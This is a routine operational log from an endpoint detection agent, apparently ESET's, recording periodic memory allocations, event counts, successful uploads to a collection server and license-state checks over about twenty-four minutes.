2026-03-04 20:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1935 KB; TcpIpConnectionsManager: 604 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 328 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 283 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 77 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37864 KB;
2026-03-04 20:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2300 KB; ModuleMetadata: 2034 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; BaseEvent: 465 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 321 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38437 KB;
2026-03-04 20:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2684 KB; ModuleMetadata: 2034 KB; BaseEvent: 646 KB; TcpIpConnectionsManager: 583 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 335 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 172 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 39069 KB;
2026-03-04 20:52:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:48:21, To:, 2026-03-04 20:52:21, Duration (s):, 240, Events Per Second:, 17.072, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3413, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 5, Livegrid:, 5, OriginUrl:, 0, Alarms:, 686, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456343
2026-03-04 20:52:24 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s289ms.
2026-03-04 20:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1555 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 329 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BaseEvent: 100 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37212 KB;
2026-03-04 20:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1937 KB; TcpIpConnectionsManager: 578 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; rules::ProcessConditionsCache: 344 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 285 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37863 KB;
2026-03-04 20:54:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:54:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:54:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:54:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2300 KB; ModuleMetadata: 2034 KB; TcpIpConnectionsManager: 570 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; BaseEvent: 466 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 321 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38429 KB;
2026-03-04 20:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2680 KB; ModuleMetadata: 2034 KB; BaseEvent: 655 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 511 KB; rules::ProcessConditionsCache: 333 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 173 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 39055 KB;
2026-03-04 20:56:21 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:52:21, To:, 2026-03-04 20:56:21, Duration (s):, 240, Events Per Second:, 16.946, Events:, 4073, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3366, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 2, Livegrid:, 2, OriginUrl:, 0, Alarms:, 702, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 452647
2026-03-04 20:56:23 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s381ms.
2026-03-04 20:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1537 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 308 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BaseEvent: 94 KB; BatchSerializer::EventsQueueTag: 25 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37162 KB;
2026-03-04 20:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1900 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 499 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 293 KB; BaseEvent: 273 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 71 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37712 KB;
2026-03-04 20:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 20:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 20:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2257 KB; ModuleMetadata: 2034 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 524 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; BaseEvent: 452 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 267 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 118 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38259 KB;
2026-03-04 20:59:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 20:59:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 20:59:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 20:59:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 20:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2630 KB; ModuleMetadata: 2034 KB; BaseEvent: 631 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 285 KB; BatchSerializer::EventsQueueTag: 165 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38894 KB;
2026-03-04 21:00:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 20:56:18, To:, 2026-03-04 21:00:29, Duration (s):, 251, Events Per Second:, 16.310, Events:, 4098, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 3, Livegrid:, 3, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455045
2026-03-04 21:00:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s409ms.
2026-03-04 21:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1568 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 340 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BaseEvent: 91 KB; BatchSerializer::EventsQueueTag: 28 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 37239 KB;
2026-03-04 21:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1932 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 305 KB; CacheEntry: 299 KB; BaseEvent: 272 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37796 KB;
2026-03-04 21:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2314 KB; ModuleMetadata: 2034 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; BaseEvent: 455 KB; ModuleInfoCache: 323 KB; rules::ProcessConditionsCache: 303 KB; CacheEntry: 299 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 125 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38432 KB;
2026-03-04 21:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2679 KB; ModuleMetadata: 2034 KB; BaseEvent: 636 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 285 KB; BatchSerializer::EventsQueueTag: 172 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38988 KB;
2026-03-04 21:04:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:04:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:04:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:04:02 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:04:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:00:28, To:, 2026-03-04 21:04:25, Duration (s):, 237, Events Per Second:, 17.393, Events:, 4130, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3448, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 679, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460689
2026-03-04 21:04:28 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s603ms.
2026-03-04 21:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1509 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 512 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 279 KB; cloudutils::CloudData: 141 KB; BaseEvent: 92 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37105 KB;
2026-03-04 21:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2034 KB; ProcessInfo: 1871 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; BaseEvent: 270 KB; rules::ProcessConditionsCache: 255 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 72 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37647 KB;
2026-03-04 21:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2244 KB; ModuleMetadata: 2034 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 516 KB; BaseEvent: 448 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 252 KB; cloudutils::CloudData: 141 KB; BatchSerializer::EventsQueueTag: 118 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38261 KB;
2026-03-04 21:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2605 KB; ModuleMetadata: 2034 KB; BaseEvent: 626 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; ModuleInfoCache: 323 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 222 KB; BatchSerializer::EventsQueueTag: 166 KB; cloudutils::CloudData: 141 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 38802 KB;
2026-03-04 21:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:08:33 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:04:17, To:, 2026-03-04 21:08:33, Duration (s):, 256, Events Per Second:, 16.005, Events:, 4103, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3396, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457342
2026-03-04 21:08:34 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s397ms.
2026-03-04 21:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1442 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 503 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 198 KB; cloudutils::CloudData: 141 KB; BaseEvent: 63 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36903 KB;
2026-03-04 21:09:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 21:09:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23519
2026-03-04 21:09:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 21:09:03 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 21:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1846 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 539 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BaseEvent: 283 KB; rules::ProcessConditionsCache: 180 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 76 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 37573 KB;
2026-03-04 21:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2213 KB; ModuleMetadata: 2035 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; BaseEvent: 462 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 169 KB; cloudutils::CloudData: 140 KB; BatchSerializer::EventsQueueTag: 123 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38153 KB;
2026-03-04 21:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ProcessInfo: 2576 KB; ModuleMetadata: 2035 KB; BaseEvent: 643 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 530 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 507 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; BatchSerializer::EventsQueueTag: 170 KB; rules::ProcessConditionsCache: 163 KB; cloudutils::CloudData: 140 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 16 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 38736 KB;
2026-03-04 21:12:25 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 21:08:32, To:, 2026-03-04 21:12:25, Duration (s):, 233, Events Per Second:, 17.379, Events:, 4055, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3266, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 60, Livegrid:, 60, OriginUrl:, 0, Alarms:, 668, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 449026
2026-03-04 21:12:26 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s368ms.
2026-03-04 21:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 30740 KB; ModuleMetadata: 2035 KB; ProcessInfo: 1490 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 534 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; ModuleInfoCache: 324 KB; CacheEntry: 299 KB; rules::ProcessConditionsCache: 143 KB; cloudutils::CloudData: 140 KB; BaseEvent: 85 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 36926 KB;
2026-03-04 21:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 198, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 21:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 21:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
